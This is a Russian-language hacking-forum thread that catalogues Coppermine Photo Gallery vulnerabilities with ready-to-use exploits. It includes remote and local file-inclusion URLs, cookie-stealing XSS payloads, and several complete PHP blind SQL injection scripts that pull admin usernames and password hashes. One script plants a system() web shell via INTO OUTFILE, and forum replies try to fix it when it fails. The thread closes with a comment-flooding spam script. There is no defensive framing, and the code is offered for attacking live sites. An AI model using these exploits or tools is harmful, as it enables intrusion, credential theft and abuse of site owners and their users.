Просмотр полной версии : [ Обзор уязвимостей Coppermine Photo Gallery ]
В данном обзоре я собрал уязвимости Coppermine Photo Gallery как самостоятельного скрипта, а не как модуля в различных CMS. Эти баги можно найти здесь:
https://forum.antichat.ru/showthread.php?t=59150
https://forum.antichat.ru/threadnav22857-1-10.html
Vendor: http://coppermine-gallery.net/
http://sourceforge.net/project/showfiles.php?group_id=89658
Multiple Remote File Include Vulnerabilities
Vulnerable: Coppermine Photo Gallery 1.4.10
Exploit:
http://www.example.com/Script_Path/image_processor.php?cmd=[Shell-Attack]
http://www.example.com/Script_Path/include/functions.php?path=[Shell-Attack]
http://www.example.com/Script_Path/include/picmgmt.inc.php?cmd=[Shell-Attack]
http://www.example.com/Script_Path/include/plugin_api.inc.php?path=[Shell-Attack]
http://www.example.com/Script_Path/index.php?path=[Shell-Attack]
http://www.example.com/Script_Path/pluginmgr.php?path=[Shell-Attack]
http://www.example.com/bridge/enigma/E2_header.inc.php?boarddir=http://evil_scripts?
ThumbNails.PHP SQL Injection Vulnerability
Vulnerable: Coppermine Photo Gallery 1.3.1
Exploit:
<?
# Coppermine Photo Gallery 1.3.x Blind SQL Injection Exploit
# by s0cratex, RTM Member
# Visit: www.zonartm.org
/*
You need make a small work... Add a fav pic, enter to the site and add
/addfav.php?pid=2 for example..xD
... in the line: if(eregi("download",fgets($cnx2))){ $pass.=chr($i);
echo chr($i); break; } }
the word "download" depends of the language...
*/
# saludos a rgod, OpTix, crypkey 'n mechas...
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
$host = "localhost"; $path = "/cpg"; $port = "80";
$id = "1";
echo "Coppermine Photo Gallery 1.3.x fav Blind SQL Injection Exploit\n";
echo "--------------------------------------------------------------\n";
echo "\n";
echo "Username -> ";
$j = 1; $user = "";
while(!strstr($user,chr(0))){
for($x=0;$x<255;$x++){
$xpl = "'') OR 1=(SELECT
(IF((ASCII(SUBSTRING(user_name,".$j.",1))=".$x."),1,0)) FROM
cpg131_users WHERE user_id=".$id.")/*";
$xpl = "a:1:{i:0;s:".strlen($xpl).":\"".$xpl."\";}";
$xpl = base64_encode($xpl);
$cnx = fsockopen($host,$port);
fwrite($cnx, "GET ".$path."/thumbnails.php?album=favpics
HTTP/1.0\r\nCookie: cpg131_fav=".$xpl."\r\n\r\n");
while(!feof($cnx)){
if(eregi("download",fgets($cnx))){ $user.=chr($x); echo chr($x); break;
} }
fclose($cnx);
if ($x==255) {
die("\n Try again..."); }
}
$j++;
}
echo "\n";
echo "Password -> ";
$a = 1; $pass = "";
while(!strstr($pass,chr(0))){
for($i=0;$i<255;$i++){
$xpl = "'') OR 1=(SELECT
(IF((ASCII(SUBSTRING(user_password,".$a.",1))=".$i."),1,0)) FROM
cpg131_users WHERE user_id=".$id.")/*";
$xpl = "a:1:{i:0;s:".strlen($xpl).":\"".$xpl."\";}";
$xpl = base64_encode($xpl);
$cnx2 = fsockopen($host,$port);
fwrite($cnx2, "GET ".$path."/thumbnails.php?album=favpics
HTTP/1.0\r\nCookie: cpg131_fav=".$xpl."\r\n\r\n");
while(!feof($cnx2)){
if(eregi("download",fgets($cnx2))){ $pass.=chr($i); echo chr($i); break;
} }
fclose($cnx2);
if ($i==255) {
die("\n Try again..."); }
}
$a++;
}
echo "--------------------------------------------------------------\n";
echo "s0cratex@zonartm.org || if you speak spanish->MSN:
s0cratex@hotmail.com ..xD";
echo "www.zonartm.org/blog/s0cratex";
echo "plexinium.com comming soon <- Hacking Nica";
?>
Albmgr.PHP SQL Injection Vulnerability
Vulnerable: Coppermine Photo Gallery 1.4.10
Coppermine Photo Gallery 1.4.9
Coppermine Photo Gallery 1.4.4
Coppermine Photo Gallery 1.3.4
Coppermine Photo Gallery 1.3.3
Coppermine Photo Gallery 1.3.2
Coppermine Photo Gallery 1.3
Coppermine Photo Gallery 1.2.2 bNuke
Coppermine Photo Gallery 1.2.2 b
Coppermine Photo Gallery 1.2.1
Coppermine Photo Gallery 1.2
Coppermine Photo Gallery 1.1 beta 2
Coppermine Photo Gallery 1.1 .0
Coppermine Photo Gallery 1.0 RC3
Coppermine Photo Gallery 1.0
Exploit:
#!/usr/bin/php
<?php
/**
* This file require the PhpSploit class.
* If you want to use this class, the latest
* version can be downloaded from acid-root.new.fr.
**/
require("phpsploitclass.php");
if($argc < 4)
{
print
"\n---------------------------------------------------------";
print "\nAffected.scr..: Coppermine Photo Gallery <= 1.4.10";
print "\nPoc.ID........: 19070104";
print "\nType..........: SQL Injection";
print "\nRisk.level....: Medium";
print "\nSrc.download..: coppermine-gallery.net";
print "\nPoc.link......: acid-root.new.fr/poc/19070104.txt";
print "\nCredits.......: DarkFig";
print
"\n---------------------------------------------------------";
print "\nUsage.........: php xpl.php <url> <adminuser>
<adminpass>";
print "\nProxyOptions..: <proxhost:proxport>
<proxuser:proxpass>";
print "\nExample.......: php xpl.php http://c.com/ admin
passwd";
print
"\n---------------------------------------------------------\n";
exit(1);
}
/*/
[0] => xpl.php [1] => http://localhost/cpg1410/
[2] => root [3] => toor
[4] => localhost:8200 [5] => user:passwd
/*/
$url=$argv[1];$adu=$argv[2];
$adp=$argv[3];$pxs=$argv[4];
$pxa=$argv[5];
$xpl = new phpsploit();
$xpl->agent("InternetExploiter");
$xpl->cookiejar(1);
$xpl->allowredirection(1);
print "\nheader> ===============================================";
print "\nheader> Coppermine Photo Gallery 1.4.10 (SQL Injection)";
print "\nheader> ===============================================";
if(!empty($pxs)){
print "\nstatus> Using a proxy $pxs";
$xpl->proxy($pxs);
}
if(!empty($pxa)){
print "\nstatus> Basic proxy authentification $pxa";
$xpl->proxyauth($pxa);
}
/*/
Table prefix.
/*/
print "\nstatus> Searching the version";
$xpl->get($url.'include/index.html');
if(preg_match("#Coppermine version:
([0-9]*\.[0-9]*\.[0-9]*)#",$xpl->getcontent(),$matches)) print
"\nsploit> Coppermine version ".$matches[1];
else print "\nsploit> Not found";
$table = !empty($matches[1]) ?
'cpg'.str_replace('.','',$matches[1]).'_users' : 'cpg1410_users';
/*/
If you have the admin cookie (but not the password),
replace lines 73=>76 by $xpl->addcookie('yourcookie');
/*/
print "\nstatus> Trying to get logged in";
$xpl->post($url."login.php?referer=index.php","username=$adu&password=$adp&remember_me=1&submitted=Se+Connecter");
if(!preg_match("#color:red#",$xpl->getcontent())) print "\nsploit>
Done";
else die("\nstatus> Exploit failed\n");
/*/
(usermgr.php)
=============
case 'group_alb_access' :
if (isset($_GET['gid'])) $group_id = $_GET['gid'];
$sql = "SELECT group_name FROM [...] WHERE group_id = $group_id
[...]";
$result = cpg_db_query($sql);
(db_ecard.php)
==============
$start = isset($_REQUEST['start']) ? $_REQUEST['start'] : ''; [...]
if (!$start) {$startFrom = '0';}else{$startFrom=$start;} [...]
$result = cpg_db_query("SELECT [...] ORDER BY $sortBy $sortDirection
LIMIT $startFrom,$countTo");
(albmgr.php)
============
$cat = isset($_GET['cat']) ? ($_GET['cat']) : 0;
if ($cat == 1) $cat = 0;
if (GALLERY_ADMIN_MODE) {
$result = cpg_db_query("SELECT [...] WHERE category = $cat ORDER BY
pos ASC");
(filename_to_title())
=====================
$albumid = (isset($_POST['albumid'])) ? $_POST['albumid'] : 0;
$albstr = ($albumid) ? " WHERE aid = $albumid" : ''; [...]
$result = cpg_db_query("SELECT * FROM {$CONFIG['TABLE_PICTURES']}
$albstr");
(del_titles())
==============
$albumid = (isset($_POST['albumid'])) ? $_POST['albumid'] : 0;
$albstr = ($albumid) ? " WHERE aid = $albumid" : '';
$result = cpg_db_query("SELECT * FROM {$CONFIG['TABLE_PICTURES']}
$albstr");
/*/
print "\nstatus> Retrieving all members password";
$xpl->get($url."albmgr.php?cat=-1/**/union/**/select/**/user_name,user_password/**/from/**/$table/*");
if(preg_match_all("#<option
value=\"album_no=(.*),album_nm='([a-z0-9]{32})'#",$xpl->getcontent(),$matches))
print "\nsploit> Done";
else die("\nstatus> Exploit failed\n");
print "\nsploit> +----------------------------------+----------+";
print "\nsploit> | PASSWORD | USER |";
print "\nsploit> +----------------------------------+----------+";
/*/
(init.inc.php)
==============
$HTML_SUBST = array('&' => '&', '"' => '"', '<' => '<',
'>' => '>', '%26' => '&', '%22' => '"', '%3C' => '<',
'%3E' =>
'>','%27' => ''', "'" => ''');
[...]
if (is_array($_POST)) { // and GET, SERVER, REQUEST...
foreach ($_POST as $key => $value) {
if (!is_array($value))
$_POST[$key] = strtr(stripslashes($value), $HTML_SUBST);
if (!in_array($key, $keysToSkip) && isset($$key)) unset($$key);
}
... that's why we use the html_entity_decode() function.
I just wanted < for a remote php code execution sploit without admin
rights :'(.
When the admin view the security logs, it include
"security.log.php"...
(security.log.php)
==================
[...]
if (!defined('IN_COPPERMINE')) die(); ?>
Denied privileged access to viewlog.php from user Guest at on January
4, 2007, 2:10 pm
Failed login attempt with Username: <?php mail(you); [...]
fwrite(backdoor.php); [...] /* from IP 127.0.0.1 on Jan 04, 2007 at
01:16 PM
/*/
for($i=0;$i<count($matches[0]);$i++)
{
print "\nsploit> | ".$matches[2][$i].' |
'.html_entity_decode($matches[1][$i]);
if($i==(count($matches[0])-1)){
print "\nsploit>
+----------------------------------+----------+\n";
}
}
?>
Index.PHP Local File Include Vulnerability
Vulnerable: Coppermine Photo Gallery 1.4.4
Exploit:
http://www.example.com/cpg/index.php?file=.//././/././/././/././/././/././/././/././/./etc/passwd%00
Multiple File Include Vulnerabilities
Vulnerable: Coppermine Photo Gallery 1.4.3
Coppermine Photo Gallery 1.3.2
Coppermine Photo Gallery 1.3.1
Coppermine Photo Gallery 1.3
Coppermine Photo Gallery 1.2.1
Coppermine Photo Gallery 1.2
Coppermine Photo Gallery 1.1
Coppermine Photo Gallery 1.0
Exploit:
http://www.example.com/[path]/thumbnails.php?lang=../albums/userpics/10002/shell.zip%00
http://www.example.com/[path]/docs/showdoc.php?f=c:\boot.ini
http://www.example.com/[path]/docs/showdoc.php?f=\\192.168.1.2\c\shell.php cpg_143_incl_xpl
Picmgr.PHP SQL Injection Vulnerability
Vulnerable: Coppermine Photo Gallery 1.4.9
Exploit:
http://www.example.com/picmgr.php?aid=123%20UNION%20SELECT%20user_id,user _group,concat(user_name,char(58,58),user_password) %20FROM%20cpg149_users%20right%20join%20cpg149_use rgroups%20on%20cpg149_users.user_group%20=%20cpg14 9_usergroups.group_id%20where%20cpg149_usergroups. has_admin_access%20=%201%20--
PHP Code Injection Vulnerability
Vulnerable: Coppermine Photo Gallery 1.0 RC3
Exploit:
http://www.example.com/albums/userpics/Copperminer.jpg.php?[command]
Remote Commands Execution
Vulnerable: Coppermine Photo Gallery <= 1.4.3
Exploit:
http://milw0rm.com/exploits/1511
File Retrieval SQL Injection
Vulnerable: Coppermine Photo Gallery <= 1.3.2
Exploit:
http://milw0rm.com/exploits/1317
Cross Site Scripting and Local File Inclusion
Vulnerable: Coppermine Photo Gallery <= 1.4.12
Exploit:
http://localhost/cpg/mode.php?admin_mode=1&referer=javascript:
alert(document.cookie)
http://localhost/cpg/viewlog.php?log=../../../../../../../../..
/etc/passwd%00
(требуются привилегии администратора)
EXIF Data Script Insertion
Vulnerable: Coppermine Photo Gallery >=1.3.3
Exploit:
Открываем картинку формата .jpg в любом графическом редакторе, который поддерживает работу с метаданными EXIF. Нам нужно изменить тэг модели камеры. Вписываем туда ядовитый код, к примеру:
<script>alert(for Antichat only)</script>
и сохраняем картинку.
Далее заливаем ее на сервер, находим в галерее и кликаем по ней мышью- отображается EXIF- информация, которая не фильтруется. То есть, вылетает алерт "for Antichat only"
addhit() function~ SQLinjection attack
Vulnerable: Coppermine Photo Gallery 1.4.8
Exploit:
GET /cpg/displayimage.php?album=random&cat=0&pos=-{Not Viewd Image ID} HTTP/1.1
Host: O_O
User-Agent: ’sql commands
Keep-Alive: 300
Cookie: valid login
Remote SQL Injection
Vulnerable: Coppermine Photo Gallery 1.4.10
Exploit:
<?php
#####################################
# Coppermine gallery SQL injection exploit
# based on RST/GHC bugs
# Author: bazik, icq 178377
#####################################
error_reporting(0);
class cpg1410_xek {
public $GLOBALS = array();
function prepareExp($sql) {
$a1 = '1) UNION SELECT ' . $this->toHex($sql) . ', ' . $this->toHex('bazik') . ' LIMIT 1,1/*';
$b1 = 'bazik';
$a2 = $sql;
$b2 = 'bazik';
$arr = array($a1 => $b1, $a2 => $b2);
return $this->GLOBALS['prefix'] . '_albpw=' . rawurlencode(serialize($arr));
}
function toHex($str) {
for ($i=0; $i < strlen($str); $i++)
$result .= sprintf("%X", ord($str[$i]));
return "0x" . $result;
}
function sendQuery($out) {
$fp = fsockopen($this->GLOBALS['host'], 80, $errno, $errstr, 30);
if(!$fp)
die("[-] Can't connect to " . $this->GLOBALS['host'] . " ...\n\n");
else {
fwrite($fp, $out);
while(!feof($fp))
$str .= fgets($fp, 128);
fclose($fp);
return $str;
}
}
function getCookiePrefix() {
$out = "HEAD " . $this->GLOBALS['path'] . "thumbnails.php?album=" . $this->GLOBALS['albumId'] . " HTTP/1.1\r\n";
$out .= "Host: " . $this->GLOBALS['host'] . "\r\n";
$out .= "Connection: Close\r\n\r\n";
preg_match_all('!Set-Cookie:.+(.+)_data=.+!Uim', $this->sendQuery($out), $result);
return $result[1][0];
}
function getPathToShell() {
$out = "GET " . $this->GLOBALS['path'] . "/themes/sample/theme.php HTTP/1.1\r\n";
$out .= "Host: " . $this->GLOBALS['host'] . "\r\n";
$out .= "Connection: Close\r\n\r\n";
preg_match_all('!in\s(.+).{1}themes.{1}sample.{1}t heme.php!Uim', $this->sendQuery($out), $result);
$str = strip_tags($result[1][0]);
return str_replace("\\", "/", $str);
}
function getShell() {
$sql = $this->GLOBALS['albumID'] . ') UNION SELECT ' . $this->toHex('<pre><?system($_GET[\'a\']);?></pre>') . ' INTO OUTFILE \'' . $this->GLOBALS['pathToShell'] . '/albums/userpics/shell.php\'/*';
$out = "GET " . $this->GLOBALS['path'] . "thumbnails.php?album=" . $this->GLOBALS['albumID'] . " HTTP/1.1\r\n";
$out .= "Host: " . $this->GLOBALS['host'] . "\r\n";
$out .= "Accept-Language: ru\r\n";
$out .= "Cookie: " . $this->prepareExp($sql) . "\r\n";
$out .= "Connection: Close\r\n\r\n";
$this->sendQuery($out);
}
function hat() {
echo "\n## Coppermine SQL injection exploit\n";
echo "## Vulnerable: CPG 1.4.10 stable\n\n";
echo "## THIS IS UNPUBLISHED EXPLOIT CODE\n";
echo "## KEEP IT PRIVATE\n\n";
}
function foot() {
echo "## (c)oded by bazik\n";
echo "## 20/01/2008\n";
}
}
$exp = new cpg1410_xek();
if ($argc != 4) {
$exp->hat();
echo "For example:\n\n";
echo " php cpg1410_xek.php [url] [path] [albumID]\n\n";
echo " [url] = http://www.victim.gov\n";
echo " [path] = \cpg1410\\\n";
echo " [albumID] = 1\n\n\n";
$exp->foot();
} else {
$exp->hat();
preg_match("/^(http:\/\/)?([^\/]+)/i", $argv[1], $matches);
$exp->GLOBALS['host'] = $matches[2];
$exp->GLOBALS['path'] = $argv[2];
$exp->GLOBALS['albumID'] = intval($argv[3]);
$exp->GLOBALS['prefix'] = $exp->getCookiePrefix();
$exp->GLOBALS['pathToShell'] = $exp->getPathToShell();
if(empty($exp->GLOBALS['prefix']))
echo "[-] Can't get cookie prefix ...\n\n";
else
echo "[+] Cookie prefix: " . $exp->GLOBALS['prefix'] . "\n";
if(empty($exp->GLOBALS['pathToShell']))
echo "[-] Can't recognize full path ...\n\n";
else {
echo "[+] Full path: " . $exp->GLOBALS['pathToShell'] . "\n\n";
$exp->getShell();
$url = 'http://' . $exp->GLOBALS['host'] . $exp->GLOBALS['path'] . 'albums/userpics/shell.php';
if (file_get_contents($url))
echo " Web-shell: " . $url . "\n\n";
else
echo "[-] Can't create web-shell ...\n\n";
}
$exp->foot();
}
?>
# milw0rm.com [2008-01-21]
Remote SQL Injection
Vulnerable: Coppermine Photo Gallery <=1.4.14
Exploit:
<?php
#############################################
# RST/GHC PRIVATE
# CPG 1.4.10 sql injection exploit
# Date: 17.05.07
# bug: SQL injection in private album
# function through array indexes with COOKIE
#############################################
error_reporting (E_ERROR);
ini_set("max_execution_time",0);
intro();
if ($argc < 4 ){
print " Usage: " . $argv[0] . " <host> <dir> <force> [table prefix]\n";
print " <host> - hostname\n";
print " <dir> - web dirname \n";
print " <force> - force mode - '0' - for Off or \"album number\" for force mode On \n";
print " [table prefix] - prefix of sql tables\n";
print " example: " . $argv[0] . " coppermine.site photo/ 1 cpg1410\n";
credits();
}
###############################################
/* FUNCTIONS */
##############################################
if (!function_exists(str_split)){ ### for PHP4 << FIX
function str_split($str)
{
$str_array=array();
$len=strlen($str);
for($i=0;$i<$len;$i++) $str_array[]=$str{$i};
return $str_array;
}
}
function toSql($str){
$a_str = str_split ($str);
$s_str = '0x';
foreach ($a_str as $val){
$s_str .= sprintf("%X",ord($val));
}
return $s_str;
}
function toCookie ($str){
$str = "-1) UNION SELECT " .toSql ($str). ",1 as md5_password/*";
$c_str=array(0=>"8", $str=>"1");
$c_str = $GLOBALS['prefix'].'_albpw='.urlencode(serialize($c_str)).';'.$GLOBA LS['cookies'];
return $c_str;
}
function getAlbum($text){
if (preg_match("/(?<=album=)[1-9]{1}(?=\">)/", $text, $match)) {
return intval($match[0]);
}
else return 0;
}
function getCookie($text){
if (preg_match_all("/(?<=Set-Cookie:)(.*)(?=expires)/", $text, $match)) {$cookie = $match[0][0].$match[0][1];}
else {$cookie = '';}
return $cookie;
}
function getPrefix($text){
if (preg_match("/(?<=\s)[a-z0-9_]*(?=_data)/", $text, $match)) return trim($match[0]);
else return false;
}
function toPage($page){
$pattern = "/(?<=HTTP).*(?=<html)/s";
$replacement = '';
$page = preg_replace($pattern,$replacement,$page);
/* Let's count images on the page */
if (preg_match_all("/<img/", $page, $match)) return count($match[0]);
else return 0;
}
function sendit($page, $method, $cookie=''){
global $argv;
$data ='';
$host = $argv[1];
$page = $argv[2] . $page;
$referer = 'http://'.$host;
$user_agent = 'Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)';
$result = '';
$sock = fsockopen($host, 80, $errno, $errstr, 50);
if (!$sock) die("$errstr ($errno)\n");
fputs($sock, "$method /$page HTTP/1.0\r\n");
fputs($sock, "Host: $host" . "\r\n");
fputs($sock, "Content-type: application/x-www-form-urlencoded\r\n");
fputs($sock, "Content-length: " . strlen($data) . "\r\n");
fputs($sock, "Referer: $referer". "\r\n");
fputs($sock, "User-Agent: $user_agent" . "\r\n");
fputs($sock, "Accept: */*\r\n");
if ($cookie !=='') {fputs($sock, "Cookie: $cookie\r\n");}
fputs($sock, "\r\n");
fputs($sock, "$data\r\n");
fputs($sock, "\r\n");
while (!feof($sock)) {
$result .= fgets ($sock,8192);
}
fclose($sock);
//print $result; ### DEBUGER
return $result;
}
function credits(){
echo '
+==========================================+
+ Coded: 17.05.07 * Bug found in Feb.2007 +
+==========================================+
';
exit;
}
function intro(){
echo '
* P R I V A T E *
+==========================================+
| RST/GHC Coppermine SQL injection exploit |
+==========================================+
| >>> vulnerable: CPG 1.4.10 stable <<< |
+------------------------------------------+
';
}
################################################## ###################
### HACK FUNCTIONS
#####
####
### what to find:
## user_name user_password FROM cpg1410_users WHERE user_id=1
################################################## ##################
function makeExpl($param, $cond, $sn) ### $param - name || password; $cond - condition (e.g. =97) ; $sn - position
{
global $argv;
$tprefix = (isset($argv[4])) ? $argv[4] : 'cpg1410';
$query = 'ASCII(substr((SELECT user_'.$param.' FROM '.$tprefix.'_users WHERE user_id=1),'.$sn.',1))' . $cond;
$sql = '0) UNION SELECT '.$GLOBALS['album'].' AND ' .$query. '/*';
//echo $sql; ###DEBUG
return toCookie($sql);
}
//////////////
function blind($param, $sn, $fmin, $fmax)
{
if (($fmax-$fmin)<5) { return crack($param, $fmin, $fmax, $sn) ;}
$compare = intval($fmin + ($fmax-$fmin)/2);
$crcheck = ">". $compare;
if ( check(makeExpl($param, $crcheck, $sn)) == 1 ) {
return blind($param, $sn, $compare, $fmax);
}
else {
return blind($param, $sn, $fmin, $compare+1);
}
}
function crack($param, $cmin, $cmax, $sn)
{
for ($i=$cmin; $i <=$cmax; $i++){
$crcheck = '='.$i;
$sqlCookie = makeExpl($param, $crcheck ,$sn);
if (check($sqlCookie) == 1){print chr($i); return 1;}
}
return 0;
}
function check($sqlCookie){
global $page, $etalon;
$testPage = toPage(sendit ($page, 'GET', $sqlCookie));
if ($testPage < $etalon) return 1;
else return 0;
}
function exploit($param){
echo "\nLet's define admin's ". $param . "\n";
$min = 48; # 0
$max = 122; # z
$sql_cookies = makeExpl($param,'BETWEEN '.$min . ' AND '.$max,1);
if (check($sql_cookies) == 0) {echo 'failed...'; return;}
$sn=1;
while(blind($param,$sn, $min, $max) !== 0) {
$sn++; if ($sn > 32) return;
}
}
################################################## #############
## START E X P L O I T C O D E
################################################## ###########
echo '
Exploiting:
[+] target: '. $argv[1].'/'.$argv[2].'
';
$page = '';
$firstReply = sendit($page, 'GET');
$album = getAlbum($firstReply); ### get valid album number
if ($album == 0) {
echo "[-] No valid album found...\n";
if ($argv[3] != 0) {echo "... Forcing\n"; $album = $argv[3];} ### FOR FORCE MODE!!!! If you know exactly album number - put it here
else {credits();}
}
$page = 'thumbnails.php?album='.$album;
$GLOBALS['album'] = $album;
echo "[+] Valid album number: ".$album . "\n";
$GLOBALS['cookies'] = getCookie($firstReply); ### get cookie from host
$prefix = getPrefix($GLOBALS['cookies']); ### get cookie prefix
echo "[+] Cookie prefix: " . $prefix . "\n";
$GLOBALS['prefix']=$prefix;
$etalon = toPage(sendit ($page, 'GET', $c_cookies)); ### number of images at etalon page
$first_sql = '0) UNION SELECT '.$album.' AND 1=1/*'; ### FIRST sql query - let's make valid album to be invisible
$first_cookie = toCookie($first_sql);
if (check($first_cookie) == 0) {echo "exploit failed..."; credits();} ### if album is still visible - site is unvulnerable
exploit('name');
exploit('password');
credits();
?>
# milw0rm.com [2008-01-22]
Remote Command Execution
Vulnerable: Coppermine Photo Gallery 1.4.14
PoC:
http://milw0rm.com/exploits/5019
sedoy_xxx
31.01.2008, 17:59
http://www.example.com/cpg/index.php?file=.//././/././/././/././/././/././/././/././/./etc/passwd%00
Может
http://www.example.com/cpg/index.php?file=../../../../../../../../../../../../../../../../../../etc/passwd%00???
Может
http://www.example.com/cpg/index.php?file=../../../../../../../../../../../../../../../../../../etc/passwd%00???
Скорей всего, но в первоисточнике (securityfocus.com)
было именно так
XSS
Vulnerable: Coppermine 1.4.14
PoC:
http://localhost/coppermine.1.4.14/docs/showdoc.php?
h=iddqd&t=<script>alert(123);</script>
http://localhost/coppermine.1.4.14/docs/showdoc.php?
h=</title><script>alert(123);</script>&t=iddqd
SQL injection in "util.php"
Vulnerable: Coppermine 1.4.14
Note: атакующий должен иметь привилегии администратора!
Уязвимый участок кода:
{
global $CONFIG, $lang_util_php;
$albumid = (isset($_POST['albumid'])) ? $_POST['albumid'] : 0;
$albstr = ($albumid) ? "WHERE aid = $albumid" : '';
$updatetype = $_POST['updatetype'];
$numpics = $_POST['numpics'];
$startpic = (isset($_POST['startpic'])) ? $_POST['startpic'] : 0;
echo "<h2>{$lang_util_php['thumbs_wait']}</h2>";
$result = cpg_db_query("SELECT * FROM {$CONFIG['TABLE_PICTURES']}
$albstr LIMIT $startpic, $numpics");
$count = mysql_num_rows($result);
Как видно, переменные "$_POST['albumid']", "$_POST['startpic']" и "$_POST['numpics']" имеют недостаточную фильтрацию, что дает возможность администратору провести SQL инъекцию.
SQL injection in "reviewcom.php"
Vulnerable: Coppermine 1.4.14
Note: атакующий должен иметь привилегии администратора!
Уязвимый участок кода:
if (isset($_POST['cid_array'])) {
$cid_array = $_POST['cid_array'];
$cid_set = '';
foreach ($cid_array as $cid)
$cid_set .= ($cid_set == '') ? '(' . $cid : ', ' . $cid;
$cid_set .= ')';
cpg_db_query("DELETE FROM {$CONFIG['TABLE_COMMENTS']}
WHERE msg_id IN $cid_set");
$nb_com_del = mysql_affected_rows();
}
Данные не фильтруются в переменной "$_POST['cid_array']" и используются в запросе DELETE.
При MySQL 4.1.x администратору может получить информацию из БД приложения, используя подзапросы в DELETE.
Утечка информации из "update.php"
Vulnerable: Coppermine 1.4.14
PoC:
http://victim.com/cpg14x/update.php
Скрипт может выдать некоторую информацию, например, префикс таблиц в БД, что может быть использовано в последующих атаках.
Раскрытие пути в "include/slideshow.inc.php"
Vulnerable: Coppermine 1.4.14
PoC:
http://localhost/coppermine.1.4.14/include/slideshow.inc.php
Выдает ошибку, содержащую абсолютный путь к скрипту:
<b>Fatal error</b>: Call to undefined function get_pic_data() in <b>
C:\apache_wwwroot\coppermine.1.4.14\include\slides how.inc.php
</b> on line <b>53</b><br />
voron999888
02.02.2008, 04:41
Remote SQL Injection
Vulnerable: Coppermine Photo Gallery 1.4.10
Exploit:
#####################################
# Coppermine gallery SQL injection exploit
# based on RST/GHC bugs
# Author: bazik, icq 178377
#####################################
...
Не рабочий.
...
196 Query SELECT aid, MD5(alb_password) as md5_password FROM cpg1410_albums WHERE aid IN (1) UNION SELECT 0x312920554E494F4E2053454C454354203078334337303732 36353345334333463733373937333734363536443238323435 46343734353534354232373631323735443239334233463345 33433246373037323635334520494E544F204F555446494C45 20272F7661722F7777772F6C6F63616C686F73742F38302F61 6C62756D732F75736572706963732F7368656C6C2E70687027 2F2A, 0x62617A696B LIMIT 1,1/*,1) UNION SELECT 0x3C7072653E3C3F73797374656D28245F4745545B2761275D 293B3F3E3C2F7072653E INTO OUTFILE '/var/www/localhost/80/albums/userpics/shell.php'/*)
196 Query SELECT aid FROM cpg1410_albums WHERE visibility != '0' AND visibility !='10000' AND visibility NOT IN (3) AND aid NOT IN (1) UNION SELECT 0x3C7072653E3C3F73797374656D28245F4745545B2761275D 293B3F3E3C2F7072653E INTO OUTFILE '/var/www/localhost/80/albums/userpics/shell.php'/*)
196 Quit
Файл не создается, запрос не выполняется.
Не рабочий.
...
196 Query SELECT aid, MD5(alb_password) as md5_password FROM cpg1410_albums WHERE aid IN (1) UNION SELECT 0x312920554E494F4E2053454C454354203078334337303732 36353345334333463733373937333734363536443238323435 46343734353534354232373631323735443239334233463345 33433246373037323635334520494E544F204F555446494C45 20272F7661722F7777772F6C6F63616C686F73742F38302F61 6C62756D732F75736572706963732F7368656C6C2E70687027 2F2A, 0x62617A696B LIMIT 1,1/*,1) UNION SELECT 0x3C7072653E3C3F73797374656D28245F4745545B2761275D 293B3F3E3C2F7072653E INTO OUTFILE '/var/www/localhost/80/albums/userpics/shell.php'/*)
196 Query SELECT aid FROM cpg1410_albums WHERE visibility != '0' AND visibility !='10000' AND visibility NOT IN (3) AND aid NOT IN (1) UNION SELECT 0x3C7072653E3C3F73797374656D28245F4745545B2761275D 293B3F3E3C2F7072653E INTO OUTFILE '/var/www/localhost/80/albums/userpics/shell.php'/*)
196 Quit
Файл не создается, запрос не выполняется.
не думал что это от того что форум вставляет пробелы в длинные строки?
voron999888
02.02.2008, 16:22
не думал что это от того что форум вставляет пробелы в длинные строки?
Нет не вставляет, это здесь вставил (я не заметил), а в запросе все ок. Да и запрос в куки подсовывается.
Если скопировать и вставить вручную в командную строку mysql то выполнится все, а из php как я полагаю необходимо закрыть комментарий, что в данном случае невозможно, последняя ) будет лишней.
Пробовал как у себя так и на другой галлереи, там тоже запрос не выполняется, пишет ошибка БД.
Можно конечно простенькие бесталковые запросы создать, там 2 select объединить, чтобы использовалась последняя ), а вот файл создать имхо невозможно, либо это работает в старых версиях mysql.
Если кто может помочь, придумайте полезный запрос без /* и -- на конце, ибо с ними не выполняется.
SELECT aid, MD5(alb_password) as md5_password FROM cpg1410_albums WHERE aid IN (inj1,inj2,0)
т.е.
SELECT aid, MD5(alb_password) as md5_password FROM cpg1410_albums WHERE aid IN (1) --,inj2,0)
Приведет к ошибке, а запрос
SELECT aid, MD5(alb_password) as md5_password FROM cpg1410_albums WHERE aid IN (1) union select 1,2 from cpg1410_albums where aid in (1,0)
Выполнится.
Может кому-то понадобится: простенький флудер галлерей CPG на php. Флудит в комментах : требует указать промежуток индексов фотографий, которые нужно зафлудить, кол-во сообщений, текст сообщение и имя автора. Заливаем на ФТП и погнали ))
<?
#######################################
# flood.php
# Coppermine Photo Gallery Easy Flooder
# (C) diehard
#######################################
$host = "www.site.com";
$addr = "/gallery/";
$N = $_GET['n']; // number of flood
$author = $_GET['name']; // name
$message = $_GET['msg']; // message
$pid1 = $_GET['pos1']; // absolute position of photo FROM
$pid2 = $_GET['pos2']; // absolute position of photo TO
if (($N=='')||($author=='')||($message=='')||($pid1== '')||($pid2==''))
{
echo "<form method=get name=form1 action=flood.php>N:<input value='100' type=text name=n><br>Author:<input type=text value='Vasia' name=name><br>Message:<input value='Hello! My name is Vasia' type=text name=msg><br>Pos of photo FROM:<input type=text value=1 name=pos1><br>Pos of photo TO:<input type=text value=322 name=pos2><br><input type=submit value=go></form>";
}
else
{
$i=0;
while ($i<$N) {
$i++;
$pid = $pid1-1;
while($pid<$pid2){
$pid++;
$post="msg_author=$author&msg_body=$message&event=comment&pid=$pid&submit=OK";
$len = strlen($post);
$query = "POST $addr/db_input.php?event=comment HTTP/1.1\r\n".
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;.NET CLR 1.1.4322; .NET CLR 2.0.50215)\r\n".
"Host: $host\r\n".
"Referer: http://".$host.$addr."displayimage.php?pos=-$pid\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Connection: close\r\n".
"Content-Length: $len\r\n".
"\r\n".
"$post";
echo "<BR>Photo $pid : Message $i<BR>";
$conn = fsockopen($host, 80, $errno, $errstr, 1000);
fputs($conn, $query);
while (!feof($conn))
{
$ss = fgets($conn, 128);
echo $ss;
}
}
}
}
